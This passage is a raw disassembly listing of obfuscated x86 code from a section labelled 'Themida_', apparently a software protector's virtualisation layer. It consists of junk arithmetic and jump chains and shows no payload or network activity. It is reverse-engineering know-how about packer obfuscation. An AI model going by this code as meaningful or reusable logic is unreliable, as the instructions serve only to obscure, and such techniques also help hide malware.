mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 push esi push dword ptr [esp+4] jmp loc_59C0D2 ; --------------------------------------------------------------------------- loc_591E41: ; CODE XREF: Themida_:00597D1Bj pop ebx sub eax, ebp add eax, 1604590Dh pop ebp push 573Ch mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] jmp loc_594DEB ; --------------------------------------------------------------------------- loc_591E5E: ; CODE XREF: Themida_:00591DDFj push esi push edx push 3E1A1DEDh pop edx jmp loc_5931F6 ; --------------------------------------------------------------------------- loc_591E6B: ; CODE XREF: Themida_:005A0B4Dj pop ebx push ecx mov ecx, 77C058F9h dec ecx shl ecx, 4 sub esp, 4 mov [esp], ebx mov ebx, 152B0F24h jmp loc_59AE70 ; --------------------------------------------------------------------------- loc_591E86: ; CODE XREF: Themida_:0059D7EFj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ebx jmp loc_5A4FB9 ; --------------------------------------------------------------------------- loc_591EA6: ; CODE XREF: Themida_:0059D065j shl esi, 1 not esi inc esi add esi, 5DC6267Ah sub esi, 71CA1F0Dh add esi, ebp add esi, 71CA1F0Dh pop ebp push 7EFCh mov [esp], ebx mov ebx, 715C5015h sub ebx, 2DA02433h add ebx, 1542ED90h xor esi, ebx pop ebx push edx mov edx, 1FB73F2h xor esi, edx pop edx xor edx, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59F145 ; --------------------------------------------------------------------------- loc_591F03: ; CODE XREF: Themida_:005A0C30j add eax, edi sub esp, 4 mov [esp], esi push edx jmp loc_59053A ; --------------------------------------------------------------------------- loc_591F11: ; CODE XREF: Themida_:0059221Bj shl al, 4 add al, 0BDh xor dh, al jmp loc_5A48A1 ; --------------------------------------------------------------------------- loc_591F1D: ; CODE XREF: Themida_:0059EC0Bj push dword ptr [esp] mov eax, [esp] push eax jmp loc_5965FC ; --------------------------------------------------------------------------- lodsd jmp loc_5958C7 ; --------------------------------------------------------------------------- loc_591F2F: ; CODE XREF: Themida_:005985DBj push dword ptr [esp] pop ecx add esp, 4 jmp loc_599BE8 ; --------------------------------------------------------------------------- loc_591F3E: ; CODE XREF: Themida_:005A2247j push edi mov edi, 8861630h add edi, 40C8FBECh and edi, 75BD34E2h jmp loc_59F758 ; --------------------------------------------------------------------------- loc_591F55: ; CODE XREF: Themida_:00596632j sub edx, ecx jmp loc_596913 ; --------------------------------------------------------------------------- loc_591F5C: ; CODE XREF: Themida_:00591656j add esi, edx jmp loc_5A07F5 ; --------------------------------------------------------------------------- loc_591F63: ; CODE XREF: Themida_:00598DC2j mov esi, ebp pop ebp neg esi jmp loc_5906F6 ; --------------------------------------------------------------------------- loc_591F6D: ; CODE XREF: Themida_:0059F1D3j xor ebx, esi mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_59D4B0 ; --------------------------------------------------------------------------- loc_591F7F: ; CODE XREF: Themida_:005A1086j sub dword ptr [esp+4], 4AAD30A2h mov ebp, [esp] add esp, 4 sub dword ptr [esp], 6C70322Ah add [esp], eax add dword ptr [esp], 6C70322Ah push 6CB4h jmp loc_59D4C5 ; --------------------------------------------------------------------------- loc_591FAB: ; CODE XREF: Themida_:00591889j add ebx, 1894691h add ebx, 70041FDBh add ebx, 65273994h push edi mov edi, 10756C6Eh push eax mov eax, 507324EAh sub edi, eax pop eax dec edi xor edi, 8C18345Bh add ebx, edi mov edi, [esp] add esp, 4 jmp loc_593B60 ; --------------------------------------------------------------------------- loc_591FE0: ; CODE XREF: Themida_:005993E0j sub esp, 4 jmp loc_59903A ; --------------------------------------------------------------------------- loc_591FEB: ; CODE XREF: Themida_:0059FD99j add esp, 4 jmp loc_59D88E ; --------------------------------------------------------------------------- loc_591FF6: ; CODE XREF: Themida_:005988DBj push edx mov edx, 116B563Dh not edx push 4903h mov [esp], ebp mov ebp, 784D6C95h shl ebp, 6 neg ebp push eax push 26C4h mov [esp], edi mov edi, 1B8C7DCAh mov eax, 5426CC90h jmp loc_59359E ; --------------------------------------------------------------------------- loc_592028: ; CODE XREF: Themida_:0059C0B9j pop ebx sub al, 0EDh push 1134h mov [esp], ebx mov bh, 63h jmp loc_598182 ; --------------------------------------------------------------------------- loc_59203A: ; CODE XREF: Themida_:00592464j not ecx inc ecx shr ecx, 7 or ecx, 0B404C2Eh add ecx, 0FB557BC6h jmp loc_5A3D69 ; --------------------------------------------------------------------------- loc_592051: ; CODE XREF: Themida_:005A0C3Aj sub esi, 4BCA60C6h add eax, esi mov esi, [esp] add esp, 4 add eax, edi sub eax, 21610D82h pop edi jmp loc_5997DA ; --------------------------------------------------------------------------- loc_59206C: ; CODE XREF: Themida_:005A52F7j push 7A8Dh mov [esp], ebp mov ebp, 68366D24h xor eax, ebp push dword ptr [esp] jmp loc_59C993 ; --------------------------------------------------------------------------- loc_592083: ; CODE XREF: Themida_:005A10DCj mov eax, ecx pop ecx add ebx, eax mov eax, [esp] add esp, 4 xor ebx, [esp] jmp loc_598F86 ; --------------------------------------------------------------------------- loc_592096: ; CODE XREF: Themida_:0059698Bj add eax, 4 jmp loc_5A2ECD ; --------------------------------------------------------------------------- loc_5920A0: ; CODE XREF: Themida_:005A4ABDj push 7973h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] jmp loc_596990 ; --------------------------------------------------------------------------- loc_5920B5: ; CODE XREF: Themida_:0059E6D7j push ecx push eax mov eax, 7B990A96h mov ecx, eax mov eax, [esp] add esp, 4 not ecx jmp loc_593220 ; --------------------------------------------------------------------------- loc_5920CB: ; CODE XREF: Themida_:00595EE8j push ecx jmp loc_599AA9 ; --------------------------------------------------------------------------- loc_5920D1: ; CODE XREF: Themida_:00596E0Ej mov esi, ebp jmp loc_594BAA ; --------------------------------------------------------------------------- loc_5920D8: ; CODE XREF: Themida_:0059C98Ej add esi, ecx jmp loc_5A0AF7 ; --------------------------------------------------------------------------- loc_5920DF: ; CODE XREF: Themida_:00593FE8j push eax mov ah, 0Eh mov dl, ah pop eax jmp loc_5A3858 ; --------------------------------------------------------------------------- mov cx, [esp] push 6BFh jmp loc_59A998 ; --------------------------------------------------------------------------- loc_5920F8: ; CODE XREF: Themida_:005A0D00j push ecx mov cl, 54h not cl neg cl xor cl, 0EAh add cl, 40h sub dl, cl pop ecx jmp loc_5A40B0 ; --------------------------------------------------------------------------- loc_59210D: ; CODE XREF: Themida_:005921C2j sub dl, cl jmp loc_5A4B6D ; --------------------------------------------------------------------------- loc_592114: ; CODE XREF: Themida_:005A3EBBj mov edi, [esp] add esp, 4 jmp loc_59BC4D ; --------------------------------------------------------------------------- loc_592122: ; CODE XREF: Themida_:005A1EBDj mov eax, 4 jmp loc_598D36 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- mov cx, [esp] push eax jmp loc_59FDEC ; --------------------------------------------------------------------------- loc_59213E: ; CODE XREF: Themida_:005925ABj mov edi, esp jmp loc_59A18B ; --------------------------------------------------------------------------- loc_592145: ; CODE XREF: Themida_:005A175Fj sub ebp, 4596077Ch pop esi add ebp, 7A9B4F41h add ebp, ebx sub ebp, 7A9B4F41h sub ebp, 606E3F50h pop ebx xchg ebp, [esp] mov esp, [esp] movsx cx, al push 1D20h jmp loc_59B3D8 ; --------------------------------------------------------------------------- loc_592175: ; CODE XREF: Themida_:0059AF25j push dword ptr [esp] pop ecx push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp push 63D2h mov [esp], ebx push eax mov eax, esi push eax jmp loc_59184A ; --------------------------------------------------------------------------- loc_59219D: ; CODE XREF: Themida_:0059305Dj push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59AEBB ; --------------------------------------------------------------------------- loc_5921AE: ; CODE XREF: Themida_:0059CE60j add bl, 0C1h jmp loc_59474F ; --------------------------------------------------------------------------- loc_5921B6: ; CODE XREF: Themida_:005A2AF1j sub bl, 0AEh sub cl, bl pop ebx xor cl, 0F2h xor cl, 4Bh jmp loc_59210D ; --------------------------------------------------------------------------- loc_5921C7: ; CODE XREF: Themida_:0059D42Aj mov ebx, [esp] jmp loc_59EC33 ; --------------------------------------------------------------------------- loc_5921CF: ; CODE XREF: Themida_:0059DF3Dj pop esp ror dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5921D9: ; CODE XREF: Themida_:00595444j mov esi, eax mov eax, [esp] add esp, 4 jmp loc_5A0C59 ; --------------------------------------------------------------------------- loc_5921E6: ; CODE XREF: Themida_:005A09B2j or cl, 0BCh or cl, 0D8h add cl, 2Eh add al, cl pop ecx pop dx jmp loc_5980B0 ; --------------------------------------------------------------------------- loc_5921F9: ; CODE XREF: Themida_:00598F22j pop ebp jmp loc_5930F2 ; --------------------------------------------------------------------------- loc_5921FF: ; CODE XREF: Themida_:00590F4Aj push ebp jmp loc_59540A ; --------------------------------------------------------------------------- loc_592205: ; CODE XREF: Themida_:00598F30j sub esi, edx pop edx jmp loc_59C858 ; --------------------------------------------------------------------------- loc_59220D: ; CODE XREF: Themida_:005999DBj push ecx mov ch, 62h mov al, ch mov ecx, [esp] add esp, 4 shl al, 2 jmp loc_591F11 ; --------------------------------------------------------------------------- loc_592220: ; CODE XREF: Themida_:005960FEj push eax mov eax, 36C7B46h and edi, eax pop eax or edi, 5BDF620Ch xor edi, 4C505DDh sub esp, 4 jmp loc_5A4A32 ; --------------------------------------------------------------------------- loc_592240: ; CODE XREF: Themida_:00595269j add ecx, 19B27A0Eh jmp loc_5A026A ; --------------------------------------------------------------------------- loc_59224B: ; CODE XREF: Themida_:00592626j neg ecx and ecx, 17AA1116h sub ecx, 512F23BDh sub ecx, 8C9CAB58h xor esi, ecx pop ecx xor ebx, esi pop esi jmp loc_599561 ; --------------------------------------------------------------------------- loc_59226A: ; CODE XREF: Themida_:005A350Fj add dword ptr [esp], 1A610B31h pop ebp sub ebp, 1A610B31h mov ecx, [esp] jmp loc_5A0EF0 ; --------------------------------------------------------------------------- loc_592280: ; CODE XREF: Themida_:0059AB42j not esi jmp loc_59C329 ; --------------------------------------------------------------------------- loc_592287: ; CODE XREF: Themida_:005955B3j xchg edx, [esp] jmp loc_59A53B ; --------------------------------------------------------------------------- loc_59228F: ; CODE XREF: Themida_:005A3690j mov [esp], ebx mov bl, 5Bh jmp loc_59DE07 ; --------------------------------------------------------------------------- loc_592299: ; CODE XREF: Themida_:00592DAFj mov ecx, 4 sub eax, ecx pop ecx jmp loc_59755E ; --------------------------------------------------------------------------- loc_5922A6: ; CODE XREF: Themida_:00597B81j mov dl, 1Eh and dl, 94h jmp loc_59DD20 ; --------------------------------------------------------------------------- loc_5922B0: ; CODE XREF: Themida_:0059D09Fj push edx mov edx, 790548ACh jmp loc_59A0B5 ; --------------------------------------------------------------------------- loc_5922BB: ; CODE XREF: Themida_:0059EA15j push dword ptr [esp] pop eax add esp, 4 sub ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ax jmp loc_5A5773 ; --------------------------------------------------------------------------- loc_5922E0: ; CODE XREF: Themida_:0059CCB6j dec ecx jmp loc_5A0D9C ; --------------------------------------------------------------------------- loc_5922E6: ; CODE XREF: Themida_:005924ECj push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] pop esp and eax, edx push dword ptr [esp] jmp loc_59383A ; --------------------------------------------------------------------------- loc_5922FD: ; CODE XREF: Themida_:005A4F6Fj mov ecx, [esp] add esp, 4 add ecx, 4EB05B3Eh jmp loc_595811 ; --------------------------------------------------------------------------- loc_59230E: ; CODE XREF: Themida_:005A1B72j or eax, eax jz loc_59F7F0 push esi sub esp, 4 mov [esp], eax mov eax, 0FEh push edx mov edx, eax mov esi, edx pop edx jmp loc_59D64D ; --------------------------------------------------------------------------- loc_592330: ; CODE XREF: Themida_:005A2B20j pop edi sub edi, edx mov edx, [esp] jmp loc_597503 ; --------------------------------------------------------------------------- loc_59233B: ; CODE XREF: Themida_:00594E43j mov [esp], edi jmp loc_59077C ; --------------------------------------------------------------------------- loc_592343: ; CODE XREF: Themida_:00597643j mov [esp], esi jmp loc_59FCE0 ; --------------------------------------------------------------------------- loc_59234B: ; CODE XREF: Themida_:0059BE48j add ebp, edi push dword ptr [esp] pop edi add esp, 4 push 32FDh mov [esp], edi push 2FD8h jmp loc_591928 ; --------------------------------------------------------------------------- loc_592366: ; CODE XREF: Themida_:0059F8A6j pop edi sub ebp, 6B271D9Ch sub ebp, eax push 5806h mov [esp], eax jmp loc_5A132E ; --------------------------------------------------------------------------- loc_59237C: ; CODE XREF: Themida_:005A1BEFj shl eax, 3 jmp loc_595BE7 ; --------------------------------------------------------------------------- loc_592384: ; CODE XREF: Themida_:005A23C2j inc edi shr edi, 8 or edi, 548836E0h not edi push ebp mov ebp, 0FFFFFFFFh jmp loc_59F890 ; --------------------------------------------------------------------------- loc_59239B: ; CODE XREF: Themida_:005A0F34j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5A3B37 ; --------------------------------------------------------------------------- loc_5923AC: ; CODE XREF: Themida_:005978BFj mov eax, [esp] add esp, 4 jmp loc_5979B4 ; --------------------------------------------------------------------------- loc_5923BA: ; CODE XREF: Themida_:005A4E03j neg eax shl eax, 8 add eax, 44092804h jmp loc_5991C2 ; --------------------------------------------------------------------------- loc_5923C9: ; CODE XREF: Themida_:0059A04Fj mov [esp], edi mov edi, 21781486h mov ebx, 4FA91453h xor ebx, edi pop edi add ebx, 0F924A53h add eax, ebx pop ebx jmp loc_591671 ; --------------------------------------------------------------------------- loc_5923E7: ; CODE XREF: Themida_:0059B60Fj push ecx push ebp mov ebp, 60E4473Dh jmp loc_59CF04 ; --------------------------------------------------------------------------- loc_5923F3: ; CODE XREF: Themida_:00590EF9j xor esi, [esp] mov esp, [esp] jmp loc_5A04D2 ; --------------------------------------------------------------------------- loc_5923FE: ; CODE XREF: Themida_:005A21B2j add ebp, 9A67F684h sub esi, ebp pop ebp push esi jmp loc_59A2B1 ; --------------------------------------------------------------------------- loc_59240D: ; CODE XREF: Themida_:00590482j or ebx, edx pop edx sub ebx, 8167826h mov ebp, ebx pop ebx and ecx, ebp mov ebp, [esp] push ebx jmp loc_59D0F0 ; --------------------------------------------------------------------------- loc_592424: ; CODE XREF: Themida_:0059ACACj pop eax pop ecx push 3AB4h mov [esp], eax mov ah, bh mov dl, ah jmp loc_5A514C ; --------------------------------------------------------------------------- loc_592437: ; CODE XREF: Themida_:0059C72Ej push ecx jmp loc_5912DA ; --------------------------------------------------------------------------- loc_59243D: ; CODE XREF: Themida_:005963D7j pop esi sub esp, 4 mov [esp], ebp mov ebp, 3B7C34BDh shl ebp, 4 sub ebp, 1 add ebp, 51EA560Dh push ecx mov ecx, 29353092h shr ecx, 4 jmp loc_59203A ; --------------------------------------------------------------------------- loc_592469: ; CODE XREF: Themida_:005A0024j push ebx mov ebx, 5C9943AAh xor edx, ebx pop ebx jmp loc_59BCC2 ; --------------------------------------------------------------------------- loc_592477: ; CODE XREF: Themida_:005A0795j add esp, 4 jmp loc_5A2F85 ; --------------------------------------------------------------------------- loc_592482: ; CODE XREF: Themida_:00593BA7j add esi, 4 xchg esi, [esp] pop esp jmp loc_59C114 ; --------------------------------------------------------------------------- loc_59248E: ; CODE XREF: Themida_:0059EB56j add esp, 4 add ecx, 4 xchg ecx, [esp] jmp loc_594A06 ; --------------------------------------------------------------------------- loc_59249F: ; CODE XREF: Themida_:0059A2FAj add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 bswap eax jmp loc_59FC3F ; --------------------------------------------------------------------------- loc_5924B3: ; CODE XREF: Themida_:0059ECFDj sub esp, 4 jmp loc_59E248 ; --------------------------------------------------------------------------- loc_5924BE: ; CODE XREF: Themida_:005A2BD9j mov edx, 108B6B00h xor edx, 108B6B02h jmp loc_59469E ; --------------------------------------------------------------------------- loc_5924CE: ; CODE XREF: Themida_:00594258j xor eax, edi pop edi mov esi, eax pop eax mov edx, 0F604E70Fh add edx, esi mov esi, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_5922E6 ; --------------------------------------------------------------------------- loc_5924F1: ; CODE XREF: Themida_:005A2747j add al, 0DFh push edx mov dl, 36h or dl, 0B1h add dl, 0E5h shr dl, 1 jmp loc_592888 ; --------------------------------------------------------------------------- loc_592503: ; CODE XREF: Themida_:00599803j xor al, 0AAh add cl, al pop eax jmp loc_5A10FA ; --------------------------------------------------------------------------- loc_59250D: ; CODE XREF: Themida_:00593374j xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_59B693 ; --------------------------------------------------------------------------- loc_59251B: ; CODE XREF: Themida_:0059C024j sub esp, 4 mov [esp], ebp jmp loc_59C574 ; --------------------------------------------------------------------------- loc_592529: ; CODE XREF: Themida_:00593256j add esi, edx jmp loc_5A0CD8 ; --------------------------------------------------------------------------- loc_592530: ; CODE XREF: Themida_:0059F503j not ebx xchg ebx, ebp push ecx jmp loc_593FB5 ; --------------------------------------------------------------------------- loc_59253A: ; CODE XREF: Themida_:00595985j add esp, 4 jmp loc_5A4B8D ; --------------------------------------------------------------------------- loc_592542: ; CODE XREF: Themida_:005A114Cj pop esp mov [esp], ebx jmp loc_5996F0 ; --------------------------------------------------------------------------- loc_59254B: ; CODE XREF: Themida_:005926BCj or ebp, 68AC17D0h push 0 add dword ptr [esp], 758F242Ch sub [esp], ebp sub dword ptr [esp], 758F242Ch pop ebp sub ebp, 0EC1FD93Eh sub esi, ebp pop ebp mov ecx, [esp] jmp loc_59D368 ; --------------------------------------------------------------------------- loc_592579: ; CODE XREF: Themida_:00599AE9j sub ebp, 69241F3Dh sub ebp, 2DE28A00h mov esi, ebp pop ebp jmp loc_594CF9 ; --------------------------------------------------------------------------- loc_59258D: ; CODE XREF: Themida_:0059A650j add ebx, 0FFFFFFFFh jmp loc_5A4D27 ; --------------------------------------------------------------------------- loc_592595: ; CODE XREF: Themida_:0059A1C7j not eax xor edx, eax xor eax, edx xor edx, eax xor [esp], edx xor edx, [esp] xor [esp], edx push dword ptr [esp] pop eax push edi jmp loc_59213E ; --------------------------------------------------------------------------- loc_5925B0: ; CODE XREF: Themida_:005A2092j add esp, 4 jmp loc_5A338A ; --------------------------------------------------------------------------- loc_5925BB: ; CODE XREF: Themida_:0059D766j push edi mov edi, 29456D56h jmp loc_5A32A5 ; --------------------------------------------------------------------------- loc_5925C6: ; CODE XREF: Themida_:005A3CECj xchg ebp, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5994CA ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebp mov ebp, 0B01268Eh neg ebp add ebp, 85A94153h shr ebp, 8 push eax sub esp, 4 mov [esp], ebx push 527872B5h pop ebx jmp loc_5A4798 ; --------------------------------------------------------------------------- loc_592604: ; CODE XREF: Themida_:00599D93j sub eax, 26C60519h xor esi, eax pop eax sub eax, esi pop esi push ebx push 7042h jmp loc_590B79 ; --------------------------------------------------------------------------- loc_59261A: ; CODE XREF: Themida_:00599439j push edx jmp loc_5A4DD6 ; --------------------------------------------------------------------------- loc_592620: ; CODE XREF: Themida_:005A412Aj and ecx, 3E2C34D1h jmp loc_59224B ; --------------------------------------------------------------------------- loc_59262B: ; CODE XREF: Themida_:0059AF70j mov ebx, 82F454C3h sub ebx, edi pop edi mov eax, ebx pop ebx add ecx, 5A371903h sub ecx, eax push esi jmp loc_593305 ; --------------------------------------------------------------------------- loc_592644: ; CODE XREF: Themida_:0059F0F8j pop esi jmp loc_5944A1 ; --------------------------------------------------------------------------- loc_59264A: ; CODE XREF: Themida_:0059BEE7j push esp pop edi push esi mov esi, 9B11902h push eax mov eax, 41CD19FDh and eax, 3EF046D8h add eax, 200C0EC6h or eax, 26175054h shl eax, 7 jmp loc_590EFE ; --------------------------------------------------------------------------- loc_59266F: ; CODE XREF: Themida_:005A503Dj push edi mov edi, 16ED16A1h add edi, 586367E8h or edi, 0BE00E96h sub edi, 6FF07E9Bh mov ebp, edi pop edi add edi, ebp pop ebp sub edi, 4 xor edi, [esp] jmp loc_594C63 ; --------------------------------------------------------------------------- loc_592698: ; CODE XREF: Themida_:005967C0j pop edi add esi, 15234EEBh sub esi, ecx sub esp, 4 mov [esp], ebp mov ebp, 3AB7427Ah dec ebp or ebp, 653F21A6h add ebp, 1E795E98h jmp loc_59254B ; --------------------------------------------------------------------------- loc_5926C1: ; CODE XREF: Themida_:00598DA6j mov ebp, 4 jmp loc_5A38F0 ; --------------------------------------------------------------------------- lodsb jmp loc_5A3FF6 ; --------------------------------------------------------------------------- loc_5926D1: ; CODE XREF: Themida_:00599142j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5926E8: ; CODE XREF: Themida_:0059158Fj pop ecx push ebx push ecx jmp loc_59EFE4 ; --------------------------------------------------------------------------- loc_5926F0: ; CODE XREF: Themida_:0059D13Fj add eax, 68CD73EAh sub eax, 4E056A57h pop edx xchg eax, [esp] pop esp push edi push 4 pop edi add eax, 5E475687h sub eax, 37677944h add eax, edi add eax, 37677944h jmp loc_59702F ; --------------------------------------------------------------------------- loc_59271C: ; CODE XREF: Themida_:00597552j mov ecx, 2 mov ebx, ecx pop ecx sub esp, 4 mov [esp], ebp mov ebp, 4A235F8Ch sub ebp, 2CB003FAh sub ebp, 37F91E15h push ecx mov ecx, 651D09EFh jmp loc_59B9A1 ; --------------------------------------------------------------------------- loc_592749: ; CODE XREF: Themida_:005A4E5Fj mov eax, 1F8602A5h add eax, 3A9773FCh push esi push ebp push eax mov eax, 4822B9h xor eax, 27CD4FA8h jmp loc_5A2BB8 ; --------------------------------------------------------------------------- lodsd sub eax, 3C6D4A79h sub eax, ebx push 4945h mov [esp], ebx mov ebx, 54DE75F9h shr ebx, 6 or ebx, 337E52F4h dec ebx jmp loc_5A4567 ; --------------------------------------------------------------------------- loc_592789: ; CODE XREF: Themida_:0059B23Cj push ebx jmp loc_5947FD ; --------------------------------------------------------------------------- loc_59278F: ; CODE XREF: Themida_:0059FD87j inc eax jmp loc_59A655 ; --------------------------------------------------------------------------- loc_592795: ; CODE XREF: Themida_:0059B785j push edx mov edx, 4BD85AB9h shr edx, 2 sub edx, 8F2141Eh dec edx not edx and edx, 72AF0EBEh sub edx, 49D51DFBh xor edx, 3B69C467h add ebp, edx pop edx add ebp, 67457446h pop ebx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A43D3 ; --------------------------------------------------------------------------- loc_5927D9: ; CODE XREF: Themida_:0059D0CFj mov esi, [esp] add esp, 4 pop esi jmp loc_598875 ; --------------------------------------------------------------------------- loc_5927E5: ; CODE XREF: Themida_:00593D21j pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_59389B ; --------------------------------------------------------------------------- loc_5927FC: ; CODE XREF: Themida_:00593920j inc ebp push edx mov edx, 58854538h xor ebp, edx pop edx push eax mov eax, 400133h or eax, 40CF4397h and eax, 51404F58h sub eax, 48BA30B3h add eax, 7F4B402Ch shl eax, 5 sub eax, 5CA7502Eh xor ebp, eax pop eax xor edx, ebp jmp loc_5A36B8 ; --------------------------------------------------------------------------- loc_592832: ; CODE XREF: Themida_:005A23EFj or dl, cl mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp inc dl jmp loc_59E17C ; --------------------------------------------------------------------------- loc_59284F: ; CODE XREF: Themida_:0059FA24j mov esi, 7AA86E54h shr esi, 4 push eax mov eax, 62CE08DDh neg eax xor eax, 45A51375h push eax jmp loc_59380C ; --------------------------------------------------------------------------- loc_59286A: ; CODE XREF: Themida_:00599863j sub eax, esi add eax, 14390990h jmp loc_5A279B ; --------------------------------------------------------------------------- loc_592876: ; CODE XREF: Themida_:0059A3B6j mov [esp], edx mov edx, 4 add edi, edx push dword ptr [esp] jmp loc_5993DC ; --------------------------------------------------------------------------- loc_592888: ; CODE XREF: Themida_:005924FEj neg dl neg dl add dl, 0F6h sub al, dl pop edx push edx sub esp, 4 mov [esp], ebx mov bh, 2Eh mov dl, bh jmp loc_59BDA2 ; --------------------------------------------------------------------------- loc_5928A5: ; CODE XREF: Themida_:005999FAj push dword ptr [esp] pop ecx add esp, 4 add al, bh mov ebx, [esp] add esp, 4 xor bl, al movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], edx jmp loc_596B7C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5928DC: ; CODE XREF: Themida_:005A0D12j mov ecx, [esp] push ecx mov ecx, esp push ebx mov ebx, 8AD3449h add ebx, 0F752CBBBh add ecx, ebx pop ebx add ecx, 4 jmp loc_5A019A ; --------------------------------------------------------------------------- loc_5928F9: ; CODE XREF: Themida_:005A4A2Dj mov ebp, 2C285C91h sub ebp, 744838F1h xor ebp, 0E9BC132Dh push 706Dh mov [esp], edi mov edi, 2E4A20EAh sub edi, 78C93545h not edi neg edi not edi sub edi, 0FFFFFFFFh jmp loc_590A26 ; --------------------------------------------------------------------------- loc_59292E: ; CODE XREF: Themida_:005A1260j pop ebp sub edi, 259572DFh jmp loc_59BE9D ; --------------------------------------------------------------------------- loc_59293A: ; CODE XREF: Themida_:00596999j push 670Bh jmp loc_5A10E1 ; --------------------------------------------------------------------------- loc_592944: ; CODE XREF: Themida_:005A419Cj mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax push 4EF9h mov [esp], edi mov edi, esp add edi, 4 push 57F6h mov [esp], esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 xchg edi, [esp] jmp loc_59B78A ; --------------------------------------------------------------------------- loc_592987: ; CODE XREF: Themida_:00596926j add dword ptr [esp], 6EAD55BDh pop ebx push edx mov edx, 83A1341h not edx jmp loc_5A2027 ; --------------------------------------------------------------------------- loc_59299C: ; CODE XREF: Themida_:0059DFBEj mov dl, 1Eh mov ch, 93h sub ch, 8Ch sub ch, dl add ch, 8Ch jmp loc_59BA4F ; --------------------------------------------------------------------------- loc_5929AD: ; CODE XREF: Themida_:0059AD07j neg ebx jmp loc_5A2444 ; --------------------------------------------------------------------------- loc_5929B4: ; CODE XREF: Themida_:00598BC0j add dword ptr [esp+4], 8BD6143h add dword ptr [esp+4], 5BC04BC6h add [esp+4], eax sub dword ptr [esp+4], 5BC04BC6h sub dword ptr [esp+4], 8BD6143h pop eax pop edi jmp loc_59427F ; --------------------------------------------------------------------------- loc_5929DF: ; CODE XREF: Themida_:0059ED81j sub dword ptr [esp], 1DA60B89h jmp loc_5931C8 ; --------------------------------------------------------------------------- loc_5929EB: ; CODE XREF: Themida_:005951A9j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5929F0: ; CODE XREF: Themida_:0059DDE3j or ebp, 5AA219C9h add ebp, 0A001A207h add ecx, ebp pop ebp push 6035h mov [esp], esi jmp loc_59385A ; --------------------------------------------------------------------------- loc_592A0C: ; CODE XREF: Themida_:0059BAA3j push 25FFh mov [esp], esp add dword ptr [esp], 4 jmp loc_59F875 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_595BF6 ; --------------------------------------------------------------------------- loc_592A2E: ; CODE XREF: Themida_:0059AFA3j add edi, edx jmp loc_59A945 ; --------------------------------------------------------------------------- loc_592A35: ; CODE XREF: Themida_:005A27F8j neg ebp xor ebp, 46837BC9h push ecx mov ecx, 65634CDCh add ebp, ecx jmp loc_5A4F08 ; --------------------------------------------------------------------------- loc_592A4A: ; CODE XREF: Themida_:0059ADD8j mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_592A53: ; CODE XREF: Themida_:0059F2EEj push dword ptr [esp] pop eax jmp loc_59E370 ; --------------------------------------------------------------------------- loc_592A5C: ; CODE XREF: Themida_:005A1C7Fj mov ebp, 1CBD4731h mov edx, 3170DC34h add edx, ebp mov ebp, [esp] add esp, 4 push 4372h mov [esp], edx not dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_594476 ; --------------------------------------------------------------------------- loc_592A8A: ; CODE XREF: Themida_:005913A8j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_592A8F: ; CODE XREF: Themida_:0059FBFFj sub eax, 1E220A3Dh jmp loc_5A4153 ; --------------------------------------------------------------------------- loc_592A99: ; CODE XREF: Themida_:0059BFADj mov [esp], ebp mov ebp, 0A0C90F96h xor esi, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add eax, 74ED4C2Bh sub eax, esi sub eax, 74ED4C2Bh push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_594EAF ; --------------------------------------------------------------------------- loc_592AC9: ; CODE XREF: Themida_:00595F47j push edi mov edi, 0EAD4D2Ch sub [esp+4], edi pop edi pop ecx push 30h mov [esp], edx mov edx, 0EAD4D2Ch jmp loc_5A0D0D ; --------------------------------------------------------------------------- loc_592AE7: ; CODE XREF: Themida_:0059524Cj pop ebp add esi, ecx mov ecx, [esp] add esp, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_595452 ; --------------------------------------------------------------------------- loc_592B05: ; CODE XREF: Themida_:0059DFEDj mov [esp], edi mov edi, 